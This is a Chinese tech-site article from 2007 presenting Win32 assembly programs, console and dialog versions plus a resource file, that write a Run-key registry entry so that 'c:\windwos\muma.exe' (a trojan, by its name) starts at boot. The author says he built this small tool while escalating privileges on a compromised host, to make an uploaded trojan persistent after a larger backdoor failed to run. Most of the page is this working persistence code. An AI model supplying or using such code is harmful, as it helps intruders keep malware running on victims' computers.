文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术使用汇编写进注册表启动的简单例子
精品推荐
特别推荐
·新手轻轻松松做网管必须掌握的步骤
·ADSL路由方式的NAT(端口映射)
·保护系统 彻底清除Infostealer.Gampass病毒
·网管高招另类方法解决离奇断网故障二例
·Windows2000 下管理员账户真的不安全
·Windows下权限设置详解
·网络排障实战:路由器和交换机为何不通?
·安装网卡驱动常见故障及解决方法
·多种方法让网络共享资源自动映射
·Delphi中的流技术- 详细篇
·秘籍宝典:Ping命令的使用
·教你伪装MAC地址
·掌握超五类 双绞线的 原理与制作方法
·让你的ADSL不再自动掉线
·快速增强路由器安全的十个小技巧
·高手教你实测无线路由器的安全功能
·无线上网搭配方案
·UNIX 常用的指令/终结完整编
·解决南北网络问题 千渡南北互通
·ADSL上网的常见问题及分析集锦
热点TOP10
·保护系统 彻底清除Infostealer.Gampass病毒
·Novell网络命令集
·在web页面中打印功能的实现问题集锦
·新手轻轻松松做网管必须掌握的步骤
·tracert命令
·获取本机动态IP地址的方法
·赶紧下载Flash Player补丁弥补致命漏洞
·telnet命令
·ADSL路由方式的NAT(端口映射)
·惊恐:知道对方IP就能入侵别人的电脑
·巧测MTU,加快网页打开速度
·怎么样才能够做好一个网站
·破解被index.dat文件出卖的奥秘
·世界上最好的磁盘碎片整理工具原版+汉化+注册机
·教你伪装MAC地址
·EditPlus 使用技巧集萃
·花生壳新手教程
·远程控制工具PcAnywhere使用功略
·轻松提高Win 2003的运行速度
·让你的ADSL不再自动掉线

使用汇编写进注册表启动的简单例子

日期:2007年7月6日 作者: 查看:[大字体 中字体 小字体]


以下是我初学win32汇编的的笔记,学那么久了,也该丢篇文章出来,呵呵。

对注册表的操作,例如写入,修改,删除,在一些高级语言,例如 C/C++ VB中都有对注册表操作的API,但是我感觉用win32汇编写,比较适合我自己。例如,创建一个REG_SZ类型的数值,就用RegCreateKey创建一个新项,在API手册中,对它的介绍是“在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项,如果返回ERROR_SUCCESS,则表示成功”在创建一个新项后,就要用RegSetValueEx设置它的数值,具体的代码如下:

CODE:

.386
.model flat, stdcall
option casemap :none
include     windows.inc
include     user32.inc
includelib   user32.lib
include     kernel32.inc
includelib   kernel32.lib
include     advapi32.inc
includelib   advapi32.lib
.data
szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db     'Start',0 ;键值名称
szStr1           db   "c:\windwos\muma.exe" ;数据
.code
start:
_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey     endp
invoke   _EnumKey,NULL
end start

程序中,利用伪指令invoke调用了RegCreateKey,关于RegCreateKey的参数,是这样描述“

invoke RegCreateKeyEx,hKey,lpSubKey,Reserved,lpClass,dwOptions,samDesired,

lpSecurityAttributes,phkResult,lpdwDisposition”

其中hKey用来指定了我们要创建新项的根建,当我们这样“invoke RegCreateKey,

HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey”调用的时候就在“HKEY_LOCAL_MACHINE”这个根建下进行操作,然后设置 “eax == ERROR_SUCCESS” ,说明了操作成功,这样,我们便可以使用RegSetValueEx设置数据名称和值。“invoke RegSetValueEx,@hKey,addr szRegValue,NULL, REG_SZ,addr szStr1,19” 创建了一个“Start”键值名称,它的数据值为“c:\windwos\muma.exe”,写入的子键位置在注册表启动。当然了,我们也可以设置一个REG_DWORD类型的数据值。

记得有一次我提权的时候,发现主机的环境是,有执行exe文件的权限,不过不知道为什么,给它放个鸽子,就提示说“文件尾数超出”,传了个较小一点的木马,运行效果也是不满意。自然想到写一个再小的东西,也就是上面那个代码,然后编译,才2.5K,汗,执行速度绝对一流,然后又设置了木马的路径。

接着,如果把它写成GUI界面的,自然要给它定义一个资源文件,并且加入消息列队执行..下面是GUI界面的代码:

CODE:

.386
.model flat, stdcall
option casemap :none
include     windows.inc
include     user32.inc
includelib   user32.lib
include     kernel32.inc
includelib   kernel32.lib
include     advapi32.inc
includelib   advapi32.lib
ICO_MAIN   equ 1000
DLG_MAIN   equ 1000
IDC_Innovation equ 1001
.data?
hInstance dd ?
.data
szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db     'Start',0 ;键值名称
szStr1           db   "c:\windwos\muma.exe" ;数据
szTitle db '操作成功',0
szCaption db '已经把c:\windwos\muma.exe设置为开机启动',0
.code
_EnumKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey     endp
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @szBuffer[128]:byte
local @stFindFile:WIN32_FIND_DATA
mov eax,wMsg
.if eax == WM_CLOSE ;这里程序退出
    invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
.elseif eax == WM_COMMAND
mov eax,wParam
.if ax == IDCANCEL
invoke EndDialog,hWnd,NULL
.elseif ax == IDC_Innovation
  invoke   _EnumKey,NULL ;调用子程序完成写入操作
  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL   
invoke ExitProcess,NULL
end start

程序的变动不大,仅创建了一个模块对话框,只要几行代码就搞定.模块对话框的使用,省去了创建窗口,注册窗口类的麻烦.在_ProcDlgMain主程序中,WM_COMMAND是执行消息的标志,比如IDCANCEL,这个是“退出”,点击,消息列队执行,然后“invoke EndDialog,hWnd,NULL”关闭主程序,干净利落. 相同的,“IDC_Innovation”后,调用_EnumKey子程序,_EnumKey执行的过程,也就写入了启动位置,写完后,设置一个MessageBox提示操作成功。

下面是RC资源文件代码:

CODE:

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include   <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define ICO_MAIN   1000
#define DLG_MAIN   1000
#define IDC_Innovation 1001
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN ICON   "Main.ico"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 105, 107, 190, 100
STYLE DS_MODALFRAME  WS_POPUP  WS_VISIBLE  WS_CAPTION  WS_SYSMENU
CAPTION "写进注册表启动"
FONT 9, "宋体"
{
PUSHBUTTON "退出(&X)", IDCANCEL, 15, 15, 70, 35
PUSHBUTTON "开始写入数据(&I)", IDC_Innovation, 100, 15, 70, 35
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

(出处:清风网络学院






上一篇:黑客技巧之DOS命令扫描网段的端口

下一篇:当网络机器无法Ping通应该想到的是什么

使用汇编写进注册表启动的简单例子 相关文章:
·GHOST使用方法(图解)
·计算机启动更快的十五大绝招
·将系统装到U盘中 如何自制XP@USB启动盘
·Vista系统使用技巧总结
·为什么iexplore.exe在打开网页时CPU使用会100%?
·绝对好用的注册表技巧
·Photoshop十余种漂亮照片边框简单制作技巧
·Windows Vista Ultimate中文旗舰版下载+简单破解(支持迅雷HTTP & BT)
·QQ空间导航代码最新版使用方法
·DataTable控件的使用
使用汇编写进注册表启动的简单例子 相关软件:
·黑客视频教程 VMware虚拟机的安装和使用
·黑客视频教程-灰鸽子远控使用教程
·启动光盘制作完全手册(菜鸟先飞 图文教材系列)
·多种dos启动盘制作全攻略
·诺顿杀毒软件+诺顿防火墙免费破解版 免注册
·FLASH 8中文使用手册
·使用GPMC随心所欲管理组策略
·Adobe Photoshop CS 2 简体中文使用指南
·超级自动注册申请王 V3.0
·Windows环境下32位汇编语言程序设计

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot